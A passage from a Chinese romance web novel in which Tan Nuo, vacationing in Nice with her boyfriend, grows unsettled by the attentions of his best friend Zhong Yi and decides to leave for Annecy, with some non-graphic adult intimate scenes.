孙庭誉说话时的眼睛很亮,那里的光亮感染着谭诺。 这一天之前,谭诺觉得他们已经在一起很久很久了,久到她已经习惯了他的陪伴。 “那你会一直陪在我身边吗?”她很认真地问。 孙庭誉捧着谭诺的脸,在心里想:这件事,从你14岁开始,我不是一直在做吗? “会,我永远不会离开你。” 谭诺笑着将自己的手贴上了他,声音很甜地说:“那我也会一直陪着你。” “诺诺,”这是孙庭誉第一次这样叫她,叫的时候,他觉得自己听到了心跳漏了一拍的声音。 原来,爱是拥有以后还是会忐忑吗? 他只想长久而永恒地握住属于他的幸福,“承诺了就一定要做到,知道吗?” “嗯!”谭诺在他的视线里点了点头,很骄傲地说,“谁让我叫谭诺呢?我会的。” 她看得到孙庭誉的眼睛在花园灯光的映衬下熠熠发着光。 灯光下,孙庭誉第一次吻她,鼻息间是淡淡的白玫瑰花的香气。 过了一会儿,孙庭誉将谭诺搂在怀里,又去啄吻她的脸。 “好痒。”谭诺被他亲到了耳朵,忍不住笑着躲闪。 孙庭誉又去吻她另一边的脸,就这样抱着闹了很久很久,他听到谭诺在怀里“啊”了一声。 “你后悔了吗?不可以。”他说。 谭诺的声音听起来很遗憾,“可是你的生日蛋糕,看起来好好吃啊。” 她已经盯着看了一晚上了。 孙庭誉忽然笑了,他早就注意到了。 他将下颌抵在谭诺的脑袋上,“我叫人给你留了一块,很大一块。” “真的吗?” “嗯。”他没有说,口味就是按照谭诺的喜好定的。 谭诺很高兴地在他脸上亲了一口,想立刻回去吃蛋糕,但是看了一眼眼前的地面。 “这个,要捡好久啊……” - 那一天,孙庭誉在晚上十点前将谭诺送回了家,因为谭诺之前就已经和朋友约好了第二天一起吃午饭。 去之前,孙庭誉一直问她在哪里吃饭,他去买单,吃完他可以去接。 谭诺问他在哪里,他说在房间等她的电话。他爸他妈今早出门旅游了,没有人管他。 谭诺没让他来接,在朋友的怂恿下主动去他家找他。 之前她也曾来过这里,孙庭誉的妈妈对她很好,看孙庭誉给她补习,也像她妈妈一样给他们准备许多吃的。 不过,之前总是有长辈在,谭诺多少还是有一点不自在。 保洁阿姨给开门以后,谭诺直接上楼去孙庭誉的房间找他。 门被带上,但是没有关紧,谭诺犹豫了一下,便推了开来。 卧室里一片黑暗,窗帘被拉上了。 谭诺借着屋外的光亮,才看到孙庭誉在睡觉,他不仅没开空调,还盖着被子…… 看来是等她等困了。 他的被子被拉到了下颌,脸上还戴着眼罩。 谭诺嬉闹地站到了床边,故意很大声地呼气、吸气。 但是孙庭誉还是一点反应也没有, 谭诺就蹲在床边,双手支着下巴在旁边等他醒来。 只是左等右等,孙庭誉还是没有醒来的意思,谭诺太无聊了,便凑近了一点。 中午,朋友送了她一只有色的润唇膏,吃完饭后,谭诺涂了一点。 她恶作剧地在他的左脸亲了一下。 见孙庭誉终于有了醒来的迹象,谭诺笑嘻嘻地在他右脸又印下一个吻。 就在她靠在他胸膛,还在犹豫要不要给他嘴唇也来一点时,孙庭誉倏地扯掉了眼罩,一只手将她的两只手箍住。 他的视线因为匆匆惊醒还有些失焦,但是谭诺在看到那张脸时瞬间懵了。 “你是谁?怎么躺在这?” “谭诺。” 异口同声。 谭诺震惊之余,才想起孙庭誉昨晚提起的那个因为航班延误没赶得上他生日宴会的、一直住在国外的朋友。 “你是……他的好朋友,钟屹?” 钟屹骤然间松开了他握住的手,打开了旁边的灯。 他睡前吃了药,头还有点昏沉。 谭诺盯着他脸上两边的红嘴唇,这是她留下的,难以忽视的罪证。 原本是想要和孙庭誉闹着玩,现在她的恶作剧却这样呈现在另一个人的脸上。 暧昧、旖旎自然什么都不会有,谭诺心里只剩下无穷无尽的窘迫和无地自容。 “这其实是一个误会,我以为他还在睡觉,对不起,”她没有看他的眼睛,很真挚地道歉,“你要不要去洗个脸?” 钟屹面无表情地摸了摸脸,看到手上的一点粉红色。 触感黏腻。 如果现在,脸颊上顶着两个大嘴唇的是孙庭誉,谭诺一定会笑的,可惜不是,是他的朋友,她笑不出来。 见钟屹一言不发地起了身,去了卧室自带的卫生间,谭诺也跟在他身后想要赶紧出去找孙庭誉。 就在谭诺走出卧房时,孙庭誉从走廊边出现了,谭诺吓了一大跳。 “阿姨说你来找我了,我还在找你。”他三步并两步地跑到她身边,一把将她拥住。 谭诺摸了摸自己的嘴巴,点了点头。 “嘴巴的颜色很好看。”他一眼就注意到了谭诺的嘴唇,“是为我涂的吗?” 谭诺涨红了脸,有些欲言又止。 孙庭誉只以为她在害羞,他往卧室里看了一眼。床上没有人,而卫生间有了水声。 “对了,你还没见过阿屹吧,看来,他在洗澡。”孙庭誉改从背后抱着她,亲了一下她的脑袋,“一会儿介绍你们认识。” 谭诺很想回头跟孙庭誉说些什么,但这件事着实让人无地自容。 她该怎么说,她不止见过了,还在人家的脸上留下了两个粉红色的嘴唇。 - 大约一个小时后,谭诺在孙庭誉的介绍下,正式地在光线充足的客厅和钟屹见了面。 他脸上的痕迹已经被洗尽,留在他面颊处的甜甜的果香也已经消失。 谭诺对上他那副冷淡的视线,有那么几秒还在想,他会不会说出来。 但是没有。 钟屹的眼里什么情绪都没有,但嘴角短暂地笑了一下,只是没什么温度。 “初次见面,已经听了你的名字很久很久。” chap10 钟屹说已经听了谭诺的名字很久很久。 谭诺闻言,自然想得到,他大概是从孙庭誉这里听说的她。 她和孙庭誉其他的同学或者朋友见面时,也曾看到对方用一种很暧昧打趣的态度说过这句话。 但是不知道为什么“久闻大名”这样的话,从钟屹的口中说出来是这样的奇怪,大概是他面上并没有热情寒暄的意思。 谭诺只好也挤出笑容,只是这个笑看起来干巴巴的。 等到钟屹起身去吃午饭时,她忽然转过头,有些不开心地问孙庭誉:“你怎么让他睡你的房间?” 孙庭誉揉了揉她的头,“其他客房全都被阿姨做了驱虫,有些味道。” 事实上,谭诺后来很快地将这一桩意外事件“遗忘”,但是那一天之后,钟屹对着她再没有好的脸色。 …… 谭诺许久没有去想这一件事,已经过去了五年,她其实已经不确定一些细节是否被记忆篡改,但是钟屹当时的眼神和刚刚注视着她的目光又一次在她的眼前交错着浮现。 五年前是彻彻底底的意外,不怪她,但是这一次,是她进错了房间…… 她因为误会才会让他给自己涂抹药膏,他却真的做了,还有下午在海边发生的事,各种纷杂又混沌的情绪与画面就这样搅着她的思绪,谭诺的胃也变得七上八下。 她忽然发现自己一点也不了解钟屹。 她在他房间时,他靠在墙上看向她的眼神…… 但是她为什么要去了解他。 谭诺再次将脸埋进了被子里,房间的门在这时被人敲了一声。 她惊慌地从床上坐了起来,下意识地以为是钟屹有事找她,门已经被人从外面打开。 谭诺的眼睛眨也不眨地盯着看,就看到了孙庭誉拖着一个白色的箱子,手里还拿着一个管子走了进来。 意识到不是钟屹后,谭诺松了一口气,但是有一缕她自己也摸不透的情绪就这样掠过她的心头,转瞬即逝。 她没有抓住,因为感到危险。 “我回来了,宝宝有没有想我?”孙庭誉问。 他原以为他一回来,只会等到谭诺耍脾气的冷脸,但是她现在看起来呆呆的,脸也被晒得有些红,眼睛大约因为没有午睡红红的,还泛着湿润。 谭诺盯着他看,想起自己误进了钟屹房间时,还因为晒伤在跟她以为的孙庭誉耍脾气,但是现在孙庭誉真的回来了,她一时不知道该摆出什么表情面对他。 “怎么不说话?在生气我回来晚了?”孙庭誉放下东西后走近。 谭诺点了一下头,又摇了摇头。 “那是什么?”她指着孙庭誉带回来的东西问道。 “移动空调,”孙庭誉走到谭诺身边,摸了摸她的脸,“好像有点烫,还是很热?” “有一点。”感受到他掌心的热度,谭诺没有动。 孙庭誉今天原本想要联系工人来安装空调,等问了公司的员工才得知,在这里装个空调没那么容易,还得各种递交申请,等待审核是否有碍市容…… 等到流程走完,可能他已经带着谭诺回国了。 “安装空调有点麻烦,”他简单地解释道,“我回来的路上买了个移动空调,所以到家晚了。” 谭诺“哦”了一声,看着他额头上的汗,心里有些不是滋味。 “今天一天,我上班都在提心吊胆,生怕你出事。”他坐在床边,将谭诺的手握在了掌心里说。 “那你干脆不要去上班了。”谭诺倏地反握住他的手,“我一个人在这里……你放心吗?” 孙庭誉有那么十秒没有说任何话,他喜欢谭诺黏着他,但是最后也只是捏了捏她的脸,“快了,很快就好了。到时候,你去哪里我都陪着你。” 谭诺又抿紧嘴巴,不说话了。 孙庭誉这时才发现谭诺的后背上似乎涂了什么东西,回头一看,才发现那里很红。 孙庭誉无奈地看着她。 “我就知道你到了海边就会这样。”他没说太多的话,多说无异,毕竟已经发生了,“药全部涂过了吗?” 谭诺视线挪开,嗯了一声。 背后不在她计划与期冀的冰冷的触感又出现了,钟屹的手指很冷。 她有些不安地动了一下身体。 孙庭誉只以为他挨得太近,谭诺热了。 他起身将白色的衬衫袖子卷起,“我现在就来把它安装好。” 谭诺就看着孙庭誉在卧室的一角,裤子因为他单腿半跪在地上起了褶皱。 她慢慢地走到孙庭誉身后,也蹲了下来,从背后搂住他的腰。 孙庭誉回过头,摸了摸她的头。 “今天一天没见到我,在想我对吧?” 谭诺放弃思考,无声地点了一下头。 孙庭誉察觉到谭诺的情绪有些低,他感觉到心脏被人用手轻轻握了一下。 他想跟谭诺说,不用再过几天,再过两天就好,到时候她赶他走,他都不会离开。 但是他想给她惊喜,谭诺最喜欢惊喜了。 孙庭誉佯装无事地说:“马上就好,今晚睡觉就不会热了。” “好。” 孙庭誉按照说明书,花了十来分钟的时间将移动空调安装好。 这段时间里,谭诺一直黏在他身边。 风很凉快,只是声音有些大。 不知道晚上谭诺听着这个声音能不能睡着,孙庭誉想着一会儿出门的时候顺便去药妆店买个耳塞。 “是不是有点吵?” “还好吧。” 见她有些不在状态,不知道是不是中暑了,孙庭誉想要哄她开心,便故意开了个玩笑。 “贴着墙边放,这声音估计能传到隔壁,不知道阿屹听到会不会受不了。” 其实这墙的隔音效果没那么差,孙庭誉以为说完这句话以后,谭诺会很孩子气地幸灾乐祸。 但是她没有太大的反应。 因为谭诺再一次想起,不久前钟屹在交给她药膏时,对她说的最后一句话。 “今晚不要打扰我。” 这个声音会打扰到他吗? 她已经在刻意回避去思考钟屹说这句话的目的,但是他握着药膏不松手时眼神里的侵/略性和更深沉的意味在这一刻又占据了她的思绪。 他明明是她男朋友最好的朋友,她二十二年的人生里还没有遇到这样复杂难解的情况,她无法不去想,但是越靠近答案越觉得危险。 “今天是不是玩得不开心?”孙庭誉关切地问。 谭诺想起今天接二连三发生的意外事故,发虚地将自己靠在孙庭誉的怀里,不知道应该点头还是摇头。 开心吗? 开心的。 但是…… “一个人玩怎么会开心?对不起。”孙庭誉低头吻她,“走,换套衣服,现在带你出去吃饭,你一定喜欢。” 谭诺知道,如果孙庭誉说她会喜欢,那一定就是她爱吃的,因为他真的很了解她的口味。 门外有人经过。 她还没说话,就听孙庭誉说,“好像是阿屹,我去问一下他。” 谭诺连忙拉住他,“问什么?” 孙庭誉对于谭诺的反应并没有感到奇怪,他只当谭诺想跟他二人世界,不想他叫上钟屹一起出门吃饭。 他笑容宠溺,“今天你不回我消息,我又麻烦他去找你了。” 不过孙庭誉猜想,钟屹看到谭诺后就离开,可能并没有上前,所以谭诺不一定知道。 “我只是想问一下,看晚上给他带点什么,就我们两个。” 谭诺离开钟屹房间前胡乱裹上的浴巾因为她一连串的动作变得松垮,几乎就要散了开来。 孙庭誉上前,将房间的窗户拉了起来,又回过身站到谭诺面前。 “饿了吗?我们现在出门?” 孙庭誉很自然地将谭诺身上的浴巾解开,想着给她找一套宽松点的棉质t恤衫换上。 浴巾滑落在地上,他看到她上半身什么都没有穿。 再垂下眼睛,微弱的光线下谭诺的眼神,孙庭誉的心一动,低头吻了下来。 回到到现在,他还没有吻她。 谭诺嘴唇微张,有那么两秒忘记了反应。 不远处的隔壁又有了门被打开又或是关闭的声音,谭诺不知道是有人进去还是有人出来。 现在,室内的光线又回到了她误入的那个房间里。 那个声音在孙庭誉的手覆上来时,又出现在了她的脑海中。 谭诺有一瞬间的僵硬,却在孙庭誉的唇要离开的时候,闭上眼睛迎了上去。 为什么那个人说今晚不准再做,谭诺就要听他的,没这个道理的,没有的。 这是孙庭誉没有预想的画面,毕竟一会儿还要出去吃饭。 但是他向来难以招架她…… 移动空调的风扇发出的噪音也无法掩盖住此时此刻房间内的声音。 但是似乎哪里还是不对。 谭诺闭着眼睛想。 恍惚中,她听到屋外似乎又传来了一阵脚步声,一点一点向她逼近,又像离她越来越远。 谭诺起伏着,倏地睁开眼睛再看向大门。 泛着水汽的视线里,她好像真的能透过门上无形的孔看到钟屹那张阴郁的脸。 那双没什么温度的眼睛就这样冷冷地盯着她,审视着她现在在做的事。 “今晚不准再和他做,你忘了么?” 谭诺在那个虚幻的注视下再一次发热发烫。 她呼吸加速,躲闪着想象中来自某个人无声的注目,却在沉浮中到了今天的第一次…… chap11 结束以后,谭诺的心跳还是没有平复。 孙庭誉将她搂在怀里,亲了亲她还在泛红的脸。 “宝宝今天好热情。” 谭诺还在愣神,像是没从刚刚的运动里回过神。 孙庭誉捏了捏她的脸后,起身去拉窗帘。 光线刚进来时,谭诺还有一瞬间的恍惚。 这是第一次,她做完以后心里像是发了毛。 她再往门的方向看过去,那里关得死死的,连一点光线都透不进来,钟屹又怎么可能站在那里看着她…… 但是刚刚,她竟然想着他到了。 不能再想了,这难道是他的目的吗? 谭诺走到孙庭誉身边,孙庭誉看了一眼她的后背,今晚她在上边,倒也没蹭到什么。 “你明天还是要上班吗?”谭诺很突然地开口。 孙庭誉双手捧着她的脸,低头吻了一下说:“是的。” “那我不想待在这里了,”谭诺眉头皱着,话说得很快,“你又不能陪着我,我一个人……太无聊了,我要去找我朋友玩。” 和陌生的男人共处一室太危险了,特别是钟屹。 她如果足够谨慎聪明,在发生这些事以后就应该离他远一点。 “不待在这里,你要回国吗?”孙庭誉摇头,“宝宝,你再耐心等等我。” 谭诺摇头,“不是的,我去找我高中同学许奈,你知道的,她现在就在法国的一个小镇,安纳西你知道吗?她说那里很美。” 谭诺以为孙庭誉不会答应,但是孙庭誉沉吟了片刻,问:“她不上班?有空一直陪着你?” “她在安纳西开民宿,就在景点附近,她说这两天没什么人,可以带我玩。” “你预备和她玩几天?” 谭诺在今天中午许奈邀请她的时候还没有这么坚定的,但是现在,她应该去。 “那你什么时候不用上班?” “两天吧,两天以后我去接你。” 孙庭誉也想试着给谭诺一点空间,他知道在这里等着他,确实不如让她和她的朋友在一起。 毕竟家里也只有阿屹一个男人,孙庭誉虽然安心,但他们的关系也并不那么融洽。 他不想她不开心。 - 说完以后,两人很快换好了衣服,走出房间的时候,谭诺下意识地往钟屹的卧室看了一眼,那里的门紧闭着。 不用和钟屹碰面,她竟然松了一口气。 - 孙庭誉带谭诺去了这里很出名的海鲜店。 大约是他们来得及时,竟然还有位置。 孙庭誉点了一份海鲜套餐外又单点了招牌Gilrdeau生蚝、大虾配白葡萄酒。 菜上好后,孙庭誉将海螺蘸了一点黄油递到谭诺的嘴边,又开始给她剥虾。 这是第一次,孙庭誉照顾她的时候,谭诺有些心虚。 有什么好心虚的?谭诺反问自己。 可能确实在海边晒得太厉害了,谭诺胃口缺缺,吃得并不算多。 生蚝带着鲜甜的乳香,她也只吃了两个,酒倒是多喝了几口。 离开前,孙庭誉将没动过的海鲜拿到wk区让厨师帮忙炒熟,又打包了一点店里的主食准备带回去给钟屹。 “我们是要立刻回去把东西给他吗?”谭诺记得出来的时候,孙庭誉说吃完饭可以散步去天使湾,这里的夏天落日时间大约在晚上八九点钟,今天天气晴朗,海边一定很美。 “不回去。”孙庭誉看了一眼时间。 他们饭吃得快,现在还不到八点半。 “那现在打包,回去的时候菜不就凉了吗?” “没事,他对食物的口感没有任何要求,到时候热一下就好,”孙庭誉说,“他吃饭只是为了活着。” 谭诺难得没有评价什么。 - 孙庭誉一只手拎着给钟屹带的晚餐,另一只手牵着谭诺往海边走。 路上途径一家卖冰淇淋的流动店面,孙庭誉看了一眼牌子上的名字,走上前。 “今天问同事,说他的家属最爱吃这一家的冰淇淋,没想到这么巧遇到。”孙庭誉一个接着一个耐心地给谭诺解释那些缤纷的颜色分别代表什么口味,“他说每一次他惹她生气,就会在回去的路上给她带这个。” 谭诺忍住没有破坏氛围地问:“到家难道没有化掉吗?” 她在老板的推荐下选了开心果和普罗旺斯薰衣草这两种她在国内鲜少尝试的口味。 尝了一下,是她喜欢的味道,薰衣草的口感也不奇怪,比今天中午她在海边买的要好吃很多。 “好吃吗?”孙庭誉问,他没敢买三个球,怕谭诺吃坏肚子。 谭诺点了一下头,发自内心地说:“好吃。” “不知道江市有没有这样的冰淇淋,”孙庭誉牵着谭诺的手,迎着天边粉色的霞光向前走,“如果到时候我惹你生气,该怎么哄你?” 谭诺没有想这个问题,其实孙庭誉很少让她真的生气,想来想去也只有来法国工作一年这件事。 没等谭诺回答,孙庭誉说:“不对,以后我不会惹你生气。” 他有这个信心。 谭诺低着头,说好。 - 走到海边后,谭诺抬眼看过去,晚上的天使湾和她中午看到的的确是两个样子。 天空是粉橙色,而海水泛着淡淡的粉紫色。 岸边宁静,人没有中午这么多,有一些人安静地等待着太阳完全地消失在海岸线上。 谭诺和孙庭誉就这样靠着海边散步。 孙庭誉见谭诺目不转睛地盯着大海,舍不得眨眼的样子,好笑地说:“就那么喜欢海?” “喜欢。” “今天不是在这里待了很久,待到都要被晒破皮了。” 谭诺反驳道:“喜欢海的人那么多,又不止我一个,亮晶晶的,还蓝蓝的,多好看。最好就生活在海边,每天醒来就看到大海。” 来到她喜欢的地方,她又恢复了生机。 就是这样的话,不知道被子会不会潮潮的。 “每一天看到,会腻吧?”孙庭誉若有所思,“那你岂不是很羡慕阿屹?” 谭诺没有直接回答这个问题,她试着用她一贯对钟屹看不惯的语气说:“真是不能理解他,不喜欢海为什么还要在海边买房子?又不做民宿赚钱,暴殄天物。” “谁说他不喜欢,他喜欢的。” 谭诺的嘴巴撇了一下,她真的没看出来,今天到了这里以后,他一直火急火燎地要回去。 “谁要跟他一样,讨厌。”她在地上捡了一个石头,往海水里抛。 但是没有抛得很远,像是还被困在岸边。 孙庭誉笑了,这是谭诺对钟屹一贯的态度,他习以为常。 “不过跟你不一样,他喜欢海是因为——” 谭诺眼睛在看海,耳朵在听海水拍打石滩,但是有那么一瞬间,她知道自己在听孙庭誉说的话。 可是她不想听得太认真,她也不想对钟屹产生好奇的心理。 孙庭誉说:“他说,活得很无聊想死的话,住在海边很方便,往里面走几步,就结束了。” 谭诺闻言,很久没有说出话。 孙庭誉见她一脸沉重的表情,心里有点好笑,他了解谭诺,他知道她的同情心其实很重。 “我以为你要说他变态。”孙庭誉想到这两天钟屹帮自己的忙,甚至谭诺的手机也是钟屹借的,没有钟屹在,他根本无法安心工作。 他可能心里确实想试着调节一下谭诺对钟屹的偏见,只要一点就好,但嘴上仍是那样说。 谭诺收回了目光。 “他本来就是变态,阴暗男。”她忽略自己心底因为孙庭誉口中的钟屹另一面引起的震颤,“真不知道你们为什么会成为朋友。” 为什么会成为朋友?孙庭誉久违地陷入了回忆。 “他小时候过得很不容易。”孙庭誉很简单地概括。 谭诺依然没有看向孙庭誉,只要没有出声,就不代表她在关心另一个人。 她只是在静静地倾听一个故事罢了。 “他爸爸的家族很有地位,他妈妈只是在瑞士打工,有了阿屹以后也并没有结婚,后来他妈妈的护照到期,被遣返回国了。”孙庭誉是对着女友没有任何秘密,但是出于对朋友的尊重,还是将一些涉及钟屹父母隐私的东西略去。 “然后呢?” “然后他就离家出走,想找到他妈妈。”孙庭誉说,“我把我所有的零花钱都赞助给他去找妈妈,所以我们成为了朋友。” “那他最后没有找到他妈妈吗?” 孙庭誉摇头,“当时没有,他妈妈被遣返了。” 等到钟屹长大以后,他们才又见上面。 “那他妈妈现在人呢?还没有见到?” “阿屹有钱以后,又把她接到了瑞士,她现在住在瑞士的疗养院。” 听钟屹说她病了,应该没有治愈的可能。钟屹说起这件事的时候看起来很平静,完全地接受,所以孙庭誉也没有过问太多。 谭诺不知道在想什么,忽然轻声说:“那他应该很羡慕你吧。” “什么?” “你们从小是邻居,你的爸爸妈妈那么好,对你也很好,他看到会很羡慕吧。” “会吗?不会吧。”孙庭誉从来没有想过这个问题,“我们是朋友。” 会的吧,谭诺想。 海边有些冷了,她拉了拉孙庭誉的手,“我们回去吧。” 往回走的路上,谭诺因为分神,脚不小心地在石滩上打滑了一下,但是没有任何事发生。 “怎么了?” “不知道是不是有个石子进了拖鞋,”谭诺说,她刚抬脚,想把鞋子里的石子给倒掉,下一秒,孙庭誉已经在她面前弯下腰,直接将她背了起来。 “走路也能崴脚,我背你。” 谭诺被他突如其来的举动吓了一大跳,过了一会儿,她忽然低下头在他的脖子上重重地咬了一口。 孙庭誉没说话,也没有回头,他忽然就这样迎着海风背着谭诺奔跑了起来。 谭诺只能紧紧地搂住他。 就这样离开了石滩,孙庭誉还是没有把谭诺放下来,就这样往前走。 “你不累吗?”上坡路的时候,谭诺将脸贴着他,问道。 孙庭誉摇头,将谭诺背在背上的时候他心里感到无比的满足,但是想到今天谭诺一个人,按照她的脾气,她应该跟他冷战的,但是她却更加黏他,因为她在这里谁也不认识,这让他奇异地感到一丝心疼。 “我还会这样背着你走很久很久,怎么会轻易累?”他在尼斯带着海水味道的空气里,以及悄然升起的柔和的月下对谭诺说。 - 回到钟屹的房子门口,孙庭誉将手上拿给钟屹的晚饭袋子递给谭诺。 “你拿一下,我来找钥匙开门。” 谭诺还在他的背上,“放我下来。” “不放。” 谭诺只好接过还留有一丝温热的打包袋。 门打开以后,孙庭誉背着谭诺进来。 屋内一片光亮,客厅的灯都开着。 “我要下来换鞋子了。”她说。 孙庭誉还在故意逗她,装作要把她放下来,最后又起身。 “喂。”谭诺被他搞得在他背上笑。 只是笑着笑着,她看到客厅沙发上坐着的人时,脸上的笑容变得有些僵硬。 钟屹拿着手机就这样坐在那里,他陷在沙发里,看起来有些孤独。 他们的视线就这样忽地交汇。 谭诺慢慢地从孙庭誉的身上滑了下来。 孙庭誉也看到他了。 “醒了?”孙庭誉从鞋柜里拿出拖鞋,递到谭诺的脚边。“给你带了点吃的,不过可能要放到烤箱热一下。” 钟屹起身,向他们走了过来。 “谢谢。”他对孙庭誉说话,眼睛看着的却是谭诺。 钟屹伸手来接,见谭诺没有反应,他明知故问道:“手上的,不是给我的么?” 谭诺原本想把袋子递给孙庭誉,但是看到他还在低头找他自己的拖鞋,便递了过去。 袋子是纸做的方形袋子,谭诺是用拇指和食指捏着的,钟屹这样接过来时,食指的指腹不小心划过了谭诺的手指。 那上面温凉的触感让她又想起下午发生的事,这凉意让谭诺过电一般,一个激灵瞬间收回了手。 钟屹视线落在谭诺惊慌的脸上,他在原地怔了几秒钟后,笑了。 “笑什么呢?嫌弃我们带回来的海鲜,这家很好吃。”孙庭誉只当钟屹不喜欢海鲜,他偏好简单的食物。 孙庭誉拿过钟屹手里的袋子,“今天又麻烦你了,来,我来帮你热。” 钟屹也没有阻止,身体就这样靠在身旁的鞋柜上,背对着他,看着谭诺。 “不过,接下来你可以安心睡觉了。”孙庭誉走到餐厅的烤箱边。 谭诺东西给了钟屹以后,一直抱着手臂,这时才看向钟屹。 “对,这两天打扰你了。”她语气坚定,“不过,我明天就不在这里了。” 钟屹的眼睛忽然带着一丝迷茫的情绪看着她,他张开口,但是没有发出声音。 “你要走?”他注视着她,目光热烈,无声地对她动着嘴形,“为什么?” 他明明没有发出声音,但是谭诺还是条件反射地望向孙庭誉的方向。 孙庭誉什么都没有发现。 但是,她要走。 她不能再继续呆在这里,继续受他的引诱。 谭诺终于明白哪里不对劲。 钟屹在引诱她。 chap12 “你要走?”钟屹问她,“为什么?” 钟屹注视着谭诺,忽然向前走了一步。 谭诺立刻警觉又慌乱地往孙庭誉所在的餐厅的方向走了过去。 “当然是因为比起在这里,我更想去见我的朋友,在这里很无聊。”她试着用平常略显刻薄的语气说话,已经走到了孙庭誉的身边,靠着孙庭誉的背站着。 孙庭誉对着谭诺轻轻嘘了一声,“好了。” 钟屹就这样遥遥地看着她,他眸子半敛,最后唇角随意地勾了勾。 “哦。”他说。 看起来已经接受。 谭诺的心也跟着他冷下去的态度平静了下来。 回到房间以后,孙庭誉想要帮谭诺收拾行李,却发现谭诺的小行李箱里东西摆放得很有条理。 他看向谭诺的眼神有些惊喜,惊喜之余又带着一点落寞。 “看起来,我不在你身边的时候,你已经可以照顾好自己,”他说,“我还以为你没有我就活不下去。” 谭诺有些惊讶地看着他,“这些事很简单啊。” 有很多事她不喜欢做,不代表她做不好。 孙庭誉见她没缺什么东西,开始研究明天谭诺怎么去安纳西*。 安纳西没有机场。 “从这里坐火车去那,最快也要七个多小时。”这太久了,孙庭誉想想都觉得谭诺一个人能坐崩溃。 孙庭誉想了想,说,“你不然先坐飞机飞到日内瓦*,日内瓦再到安纳西近得很。” 孙庭誉在瑞士的日内瓦生活了好久好久,但是那已经是小时候的事,他差点忘记安纳西是法国和瑞士交界的小镇。 他摸了摸谭诺的手,“问问看,看你朋友能不能去瑞士接你,应该很方便。” 谭诺一问,许奈一口答应下来。 就这样敲定后,孙庭誉留了许奈的联系方式,以便不时之需。 他又看谭诺行李箱里似乎少一件稍微厚一点的衣服,那里晚上说不定会冷。 他想到储物间去找件厚衣服,就发现谭诺躺在床上翻来覆去睡不着。 “明早九点的飞机,早点睡,我到时候送你去机场。” “你上班不会迟到吗?”谭诺问。 “迟一会儿也没什么。” 见谭诺眼睛睁得大大的,他有些发酸地问:“怎么了?明天要离开我去见朋友,兴奋地睡不着?” 谭诺心想,因为见朋友而兴奋似乎也是一个理由。 她试着放慢呼吸,让自己平静下来,却发现空气里真的只剩下药膏的味道了,下午还没什么感觉,到了晚上却觉得有一点刺激。 谭诺在家时,睡不着就喜欢在床头喷一点她喜欢的香水作为她的睡眠香。 “要是我把你送给我的香水带来就好了,说不定闻着味道,就可以睡着了。”她说。 孙庭誉想起了什么,“等等我。” 他这一年里每次回国都会给谭诺带不少东西,这两月他也买了不少。正好有从前他送给谭诺,谭诺很喜欢喷的香水。 储物间就在钟屹书房旁边,书房没有关门,孙庭誉走近,发现钟屹手里拿着电话,一直在听对面在说话。 他的地上放了一个包。 “我明早过去,现在没有航班。”钟屹的声音听起来很冷静,带着一种刻意的冷淡。 挂掉电话以后,孙庭誉在门外问:“你要去日内瓦看你妈妈吗?” 钟屹回过头,他头微微地侧了一下,想,好像也算是。 虽然,听起来是最后一面了。 “对,又要我帮你给小公主买什么东西么?” 孙庭誉摇了摇头,“暂时没想到。不过真是巧,你也要去日内瓦。” “也?” “嗯,诺诺去安纳西,从瑞士中转比较节省时间,只是你明早是坐第一班航班吗?” 钟屹点了一下头,“对。” 孙庭誉拍了一下他的肩膀,感到一丝可惜。 “可惜第一班她起不来的,她太爱赖床,不然你们一班航班,我也能更安心。” 算了,孙庭誉想着反正谭诺下了飞机就有人接,能有什么问题?他真是操心太过。 钟屹眼神冷冷的,没说什么。 - 两人都进入储物间后,空间明显变小,东西堆得太多。 “诺诺说睡不着,我来找个香水。” 之前他没来法国的时候,偶尔会让钟屹帮着买,再发国际快递寄回去。 因为孙庭誉在网上做过很多攻略,很多东西江市的专柜都没有卖。 孙庭誉在一堆盒子里终于找到谭诺很喜欢用的香水,有一瓶谭诺很喜欢闻,是甜甜的旺仔牛奶的味道。 他拿着刚要走,钟屹却指了指另一瓶。 “用这个。” 孙庭誉回过头,“什么?” 钟屹视线垂下了一点,“我记得你有年夏天告诉我,她用了以后很喜欢,让我看到了以后可以再买一瓶,是玫瑰之水。” 谭诺冬天喜欢喷的,才是纯牛奶。 “是吗?”孙庭誉转念一想,有些东西都是他托钟屹买的,钟屹记得应该没有错。 “谢了。”孙庭誉说。 他又在下面的架子上找到了给谭诺买的衣服。 “她皮肤太容易过敏,不能乱穿别的材质的衣服。”特别是她才被晒伤,孙庭誉沉浸在自己的思绪里,更像是自言自语。 钟屹没什么温度地在他身后笑了笑。 不过孙庭誉最后还是将两瓶香水都带回了房间。 谭诺果然还在床上玩着手机没有睡。 听见孙庭誉进来的动静,她歪头一看,就看到了孙庭誉手上拿的两瓶香水。 “诶?这两瓶你怎么又买了,我家里的还没用完呢。” 孙庭誉宠溺地说:“我又买了一瓶,用不完可以喷卫生间。” 谭诺指着其中的一瓶。 “喷这个,我夏天最爱闻这个了,你就在床边喷一下。” 孙庭誉站在原地,忽然想,阿屹记性真好。 空气中,慢慢弥漫着清甜的荔枝玫瑰的味道,这个熟悉的味道让谭诺变得放松。 孙庭誉也回到了床上,不知道是不是因为谭诺要在他眼前去国外,他神经有一秒钟的紧绷,只是很快,他看着谭诺的睡颜,将所有的细枝末节都放下。 - 谭诺闻着淡淡的香味,闭上了眼睛。 再睁开眼睛时,不知道是几点钟。 她奇异地发现她又背对着坐在了孙庭誉的腿上,谭诺一时间都忘记他们是怎么又开始做了起来。 身体的感觉很强烈,但是谭诺出神地望着门外,不知道过了多久,她看到昏暗的光线里,门真的被从外打开了。 她的脸因为这突如其来的惊吓变得惨白,下一秒,她就张着嘴唇、和站在门外,面无表情地看着她的钟屹视线撞上。 谭诺心跳变得快极了,她的双手因为紧张攥住了孙庭誉的皮肤,但是孙庭誉看起来却并没有什么特别的反应…… 怎么会这样,平常她多看别的男人一眼,他都要吃闷醋好久。 孙庭誉背靠在床上,对于钟屹站在门外并没有什么特别的表现。 只有谭诺一边被身下的感受操控,同时无法思考。 孙庭誉感觉到了她的慌乱,他温声询问:“怎么了?” “他……”谭诺依然没有在孙庭誉的面前叫出钟屹的名字,“他在看着我们。” 钟屹的眼神晦暗不明。 “没什么,他是我最好的朋友。”孙庭誉在她身后说。 谭诺的眼睛因为孙庭誉的这句话睁大了。 被钟屹的那双眼睛注视着,她无法做到坦然。 钟屹是因为又被打扰,才会进来吗?但是,他怎么能进来呢? 她不安地动了一下,“因为是你最好的朋友,嗯……所以,这样没关系吗?” 